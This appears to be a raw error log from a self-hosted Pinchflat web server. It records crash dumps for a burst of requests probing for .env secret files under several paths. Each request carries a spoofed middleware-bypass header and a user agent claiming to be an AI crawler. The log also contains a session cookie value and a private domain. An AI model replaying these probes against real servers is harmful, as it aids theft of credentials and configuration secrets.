path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61UoM0FtODIsABvwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-su (truncated) 16:49:05.855 [info] GET /docker/.env 16:49:05.855 [debug] QUERY OK source="settings" db=0.1ms idle=116.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.855 [debug] QUERY OK source="settings" db=0.0ms idle=102.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.855 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.856 [info] GET /web/.env 16:49:05.856 [debug] QUERY OK source="settings" db=0.0ms idle=103.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.856 [debug] QUERY OK source="settings" db=0.2ms idle=92.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.856 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.856 [error] #PID<0.29587.0> running PinchflatWeb.Endpoint (connection #PID<0.29586.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29586.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33640}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29587.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61U9-o2D9LMoABvwh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29586.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33640}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29586.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33640}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false (truncated) 16:49:05.856 [error] #PID<0.29589.0> running PinchflatWeb.Endpoint (connection #PID<0.29588.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29588.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33648}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29589.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61U-KVC5wXLUABvxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29588.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33648}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29588.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33648}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: % (truncated) 16:49:05.858 [info] GET /frontend/.env 16:49:05.858 [debug] QUERY OK source="settings" db=0.0ms idle=94.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.858 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.858 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.858 [error] #PID<0.29591.0> running PinchflatWeb.Endpoint (connection #PID<0.29590.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /frontend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29590.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33652}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29591.0>, params: %{}, path_info: ["frontend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/frontend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61U-rwV1vnhwABvxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29590.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33652}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29590.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33652}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 